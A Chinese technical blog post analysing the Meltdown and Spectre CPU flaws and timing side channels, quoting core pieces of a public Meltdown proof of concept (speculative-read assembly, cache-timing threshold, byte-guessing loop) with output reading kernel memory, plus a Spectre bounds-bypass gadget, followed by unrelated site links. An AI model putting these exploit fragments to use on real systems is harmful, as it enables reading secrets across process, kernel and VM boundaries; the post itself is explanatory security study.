从CPU漏洞Meltdown&Spectre看侧信道攻击
0x00 前言
2018伊始,两个芯片级漏洞Meltdown
(熔断)、Spectre
(幽灵)漏洞震惊的安全界。受影响的CPU包括Intel
、AMD
和ARM
,基本囊括的消费级CPU市场的绝大部分。Meltdown
漏洞可以在用户态越权读取内核态的内存数据,Spectre
漏洞可以通过浏览器的Javascript
读取用户态的内存数据。虽然这两个漏洞对个人PC影响有限,但是确摧毁了公有云的基石——用户可在虚拟机里可以无限制的读取宿主机或者其他虚拟机的数据。
0x01 背景知识
了解Meltdown
和Spectre
漏洞之前,首先要知道几个背景知识。现代CPU为了提高运算效率与运算速度,会采用以下的手段提高CPU运算速度:分支预测(branch prediction
)、推测执行(speculation execution
)和乱序执行(out-of-order execution
)。
- 分支预测与推测执行 当包含CPU处理分支指令时就会遇到一个问题,根据判定条件的真/假的不同,有可能会产生跳转。此时CPU不会等待判定结果,而回预测出某一个条件分支去执行。
- 乱序执行 CPU遇到指令依赖的情况时,会转向下条不依赖的指令去执行。
0x02 Meltdown漏洞分析
Meltdown
漏洞允许我们在用户态无限制的读取内核态的数据。我们来看一段代码
; rcx = kernel space address; rbx = user space addressmov al, byte[rcx]shl al, 0xcmov rbx, qword[rbx + rax] |
---|
这段代码看上去并没有什么问题。因为在用户态的时候,在执行第一行代码时就会因为鉴权失败而停止执行后面的代码。
然而,当现代CPU执行这一段代码时,由于之前提到的特性,CPU为了加快运算速度,在执行完第一行代码后,在耗时的鉴权时,会执行第二行、第三行代码。当鉴权失败后,CPU会将状态回滚,当作后面的代码没有执行,此时用户态程序还是没法获取到内核态的数据。
但是,问题来了。CPU状态回滚后,缓存Cache并不会回滚,我们还是可以通过侧信道攻击(Side Channel Attack
)来猜测内核态的数据。此时,我们还要知道两点:第一,当CPU访问一个地址时,若没有在缓存中则会将这个地址所在的内存页(4KB = 4096B)放入缓存中;第二,访问缓存数据的速度远大于访问内存。
这段代码在第一行取了kernel address
存放的第一字节的数据,第二行将这个数据左移0xc
位,相当于乘以4096
,也就是4K
。此时,这个数据就相当于一个内存页的index
序号。第三行代码访问了这个地址,此时CPU会将这个内存页放入缓存中。接下来,我们遍历一下index
从0到255号内存页,访问特别短的那个内存页的序号就是我们要猜测的数据。
下面,我们通过图解来展示一下这个漏洞的原理。
第一步,将kernel space address
的第一字节放入rax
的低8
位,假设为0x20
。
第二步,将rax
的低8位左移0xc
位,也就是0x20 * 4096
。
第三步,访问rbx + rax
也就是rbx + 0x20 * 4096
,此时会将这个地址所在的内存页放入缓存中。
第四部,遍历rbx + index * 4096
,若缓存命中,则说明此时的index
就是rcx
指向的内核态的第一字节数据。
此时,访问rbx + 0x20 * 4096
命中缓存,所以rcx
指向内核态的第一字节数据为0x20
。
接下来,我们看看Github
上放出的PoC
代码https://github.com/paboldin/meltdown-exploit/。因为这个代码同时支持`x86_64`和`i386`,所以核心汇编代码有两段。
- x86_64 asm volatile ("1:nt"".rept 300nt""add $0x141, %%raxnt"".endrnt""movzx (%[addr]), %%eaxnt""shl $12, %%raxnt""jz 1bnt""movzx (%[target], %%rax, 1), %%rbxn""stopspeculate: nt""nopnt":: [target] "r" (target_array),[addr] "r" (addr): "rax", "rbx");
- i386
asm volatile ("1:nt"".rept 300nt""add $0x141, %%eaxnt"".endrnt""movzx (%[addr]), %%eaxnt""shl $12, %%eaxnt""jz 1bnt""movzx (%[target], %%eax, 1), %%ebxn""stopspeculate: nt""nopnt":: [target] "r" (target_array),[addr] "r" (addr): "rax", "rbx");接着,我们看看这个
PoC
是如何判断是否命中Cache
。首先get_access_time
函数用来计算访问一个地址需要的时间。 static inline intget_access_time(volatile char *addr){int time1, time2, junk;volatile int j;#if HAVE_RDTSCPtime1 = __rdtscp(&junk);j = *addr;time2 = __rdtscp(&junk);#elsetime1 = __rdtsc();j = *addr;_mm_mfence();time2 = __rdtsc();#endifreturn time2 - time1;}接着通过计算缓存命中,和缓存未命中的时间得到一个阈值。 #define ESTIMATE_CYCLES 1000000static voidset_cache_hit_threshold(void){long cached, uncached, i;if (0) {cache_hit_threshold = 80;return;}for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)cached += get_access_time(target_array);for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)cached += get_access_time(target_array);for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {_mm_clflush(target_array);uncached += get_access_time(target_array);}cached /= ESTIMATE_CYCLES;uncached /= ESTIMATE_CYCLES;cache_hit_threshold = mysqrt(cached * uncached);printf("cached = %ld, uncached = %ld, threshold %dn",cached, uncached, cache_hit_threshold);}
给出我的机器上某次执行的结果cached = 37, uncached = 218, threshold 89
。明显可以看出,缓存命中需要的访问时间远远小于缓存未命中需要的时间。因此可以通过判断访问某个地址是否大于计算出的阈值来判断这个内存页是否被缓存过。
猜测的函数如下:
#define CYCLES 1000int readbyte(int fd, unsigned long addr){int i, ret = 0, max = -1, maxi = -1;static char buf[256];memset(hist, 0, sizeof(hist));for (i = 0; i < CYCLES; i++) {ret = pread(fd, buf, sizeof(buf), 0);if (ret < 0) {perror("pread");break;}clflush_target();speculate(addr); // 核心函数check(); // 判断哪个index命中cache}#ifdef DEBUGfor (i = 0; i < VARIANTS_READ; i++)if (hist[i] > 0)printf("addr %lx hist[%x] = %dn", addr, i, hist[i]);#endiffor (i = 1; i < VARIANTS_READ; i++) {if (!isprint(i))continue;if (hist[i] && hist[i] > max) {max = hist[i];maxi = i;}}return maxi;} |
---|
这个PoC
是使用方法是meltdown addr length
,从addr
的地址里读取length
的数据。这个PoC
以读取/proc/version
为例,/proc/version
的实现方法较复杂,在此不详细解释。
这篇文章阐述了Linux
内核如何渲染/proc/version
文件的。所以,我们需要得到linux_proc_banner
的基址。因为Linux存在ASLR,所以这个PoC
用了一种投机取巧的方法,从/proc/kallsyms
读了linux_proc_banner
的地址,因此需要root
权限。
最终执行结果如下:
cached = 37, uncached = 222, threshold 90read ffffffff81800060 = 25 % (score=1/1000)read ffffffff81800061 = 73 s (score=4/1000)read ffffffff81800062 = 20 (score=3/1000)read ffffffff81800063 = 76 v (score=2/1000)read ffffffff81800064 = 65 e (score=2/1000)read ffffffff81800065 = 72 r (score=2/1000)read ffffffff81800066 = 73 s (score=2/1000)read ffffffff81800067 = 69 i (score=2/1000)read ffffffff81800068 = 6f o (score=1/1000)read ffffffff81800069 = 6e n (score=1/1000)read ffffffff8180006a = 20 (score=4/1000)read ffffffff8180006b = 25 % (score=3/1000)read ffffffff8180006c = 73 s (score=3/1000)read ffffffff8180006d = 20 (score=3/1000)read ffffffff8180006e = 28 ( (score=1/1000)read ffffffff8180006f = 62 b (score=2/1000)VULNERABLE |
---|
不得不说,很牛逼!
0x03 Spectre漏洞分析
Spectre
漏洞与Meltdown
漏洞不同的是,Spectre
漏洞允许读取本进程地址空间的任意数据。重要的是这个可以远程攻击,利用JIT
的翻译机制,构造恶意Javascript
代码来读取浏览器进程空间中别的网站的cookie
等!就是一个超级UXSS
!危害可见一斑。
其实Spectre
存在两个漏洞,也就是两个CVE-2017-5753和CVE-2017-5715。其中CVE-2017-5715是分支预测注入漏洞BranchTarget Injection
目前没发现公开的PoC
,CVE-2017-5753是边界检查绕过漏洞BoundsCheck Bypass
有公开的PoC
,下面分析这段PoC
。
首先,我们来看一段代码
unsigned int array1_size = 16;uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };uint8_t array2[256 * 512];uint8_t temp = 0;void victim_function(size_t x) {if (x < array1_size) {temp &= array2[array1[x] * 512];}} |
---|
很明显,代码有边界检查,我们无法越界读取别的地址的数据。但是,在CPU执行判断时,CPU会通过预测执行来执行temp &= array2[array1[x] * 512]
。 最后,因为判断不成立,所以状态回滚。根据Meltdown
中的知识,我们可以知道,访问array1[x]
和array2[array1[x] * 512]
后,会将这两个数据缓存下来,而且回滚后缓存不清除。此时array2[array1[x] * 512]
所在的物理页会被缓存,我们只需要遍历0 - 255
即可猜到array1[x]
的值。
0x04 侧信道攻击
之前tombkeeper教主曾在QCon2017的演讲《代码未写,漏洞已出——架构和设计的安全》中讲过一个例子,在Java 6.0时代,在信息摘要类中有一个函数isEqual
用来验证HMAC
等数据,它的实现如下:
public static boolean isEqual(byte digesta[], byte digestb[]){if (digesta.length != digestb.length)return false;for ( int i = 0; i < digesta.length; i++){if (digesta[i] != digestb[i]){return false;}}return true;} |
---|
这个函数看来貌似没有什么问题,但是我们假设digestb
是我们已有的密钥,digesta
是用户传入的密钥。程序匹配到两个密钥相同位不等的时候会退出。但是只要我们一位一位去猜,就可以利用微小的时间差将猜测速度提升无数倍。
在2017年年初,就有一篇论文ASLR on the Line: Practical Cache Attacks on the MMU
描述了通过Javascript侧信道攻击绕过系统的ASLR。
可见这种平常我们不会注意到的问题越来越成为了计算机安全的一种威胁。
0x05 总结
其实,侧信道攻击说到底还是设计上的缺陷,在为速度考虑的同时也需要考虑安全因素。
在计算机中处理的数据,除了关注类型、长度、内容,还要考虑时间因子。什么时候时间开始,什么时候时间结束,持续多久,这些往往会影响安全。 –Tombkeeper
- 关于分区表的move操作(r2笔记90天)
- 简单分析oracle的数据存储(r2笔记89天)
- 机器学习线性分类算法:感知器原理
- 通过shell脚本来查看Undo中资源消耗高的sql(r2笔记88天)
- 关于分页查询的优化思路(r3笔记第7天)
- 用机器学习方法对影评与观影者情感判定
- 关于查看文件的几个小命令(r3笔记第6天)
- 关于纠结的recycle pool的设置(r3笔记第5天)
- 融会贯通学习trigger(r2笔记第4天)
- 完整的R语言预测建模实例-从数据清理到建模预测
- 利用回归模型预测数值型数据(代码)
- 关于ORA-00020问题的反思(r2笔记第3天)
- 查看空间使用情况的脚本(r2笔记第2天)
- 使用dbms_parallel_execute来完成DML的并行(r3笔记第1天)
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- R语言:用R语言填补缺失的数据
- R语言如何和何时使用glmnet岭回归
- r语言中对LASSO回归,Ridge岭回归和Elastic Net模型实现
- cmd里如何查看历史命令并执行
- akka-typed(10) - event-sourcing, CQRS实战
- 【每日一题】37. Sudoku Solver
- A quick introduction to innodb_ruby (2.对innodb_ruby的简单介绍)
- Webkit 内核初探
- 配置跨域后,框架帮我们做了什么?
- python应用(1):安装与使用
- TCP粘包和拆包
- 性能测试必备命令(1)- free
- 记一次有趣的挖矿病毒
- 性能测试必备知识(10)- Linux 是怎么管理内存的?
- Ng-Matero V10 正式发布!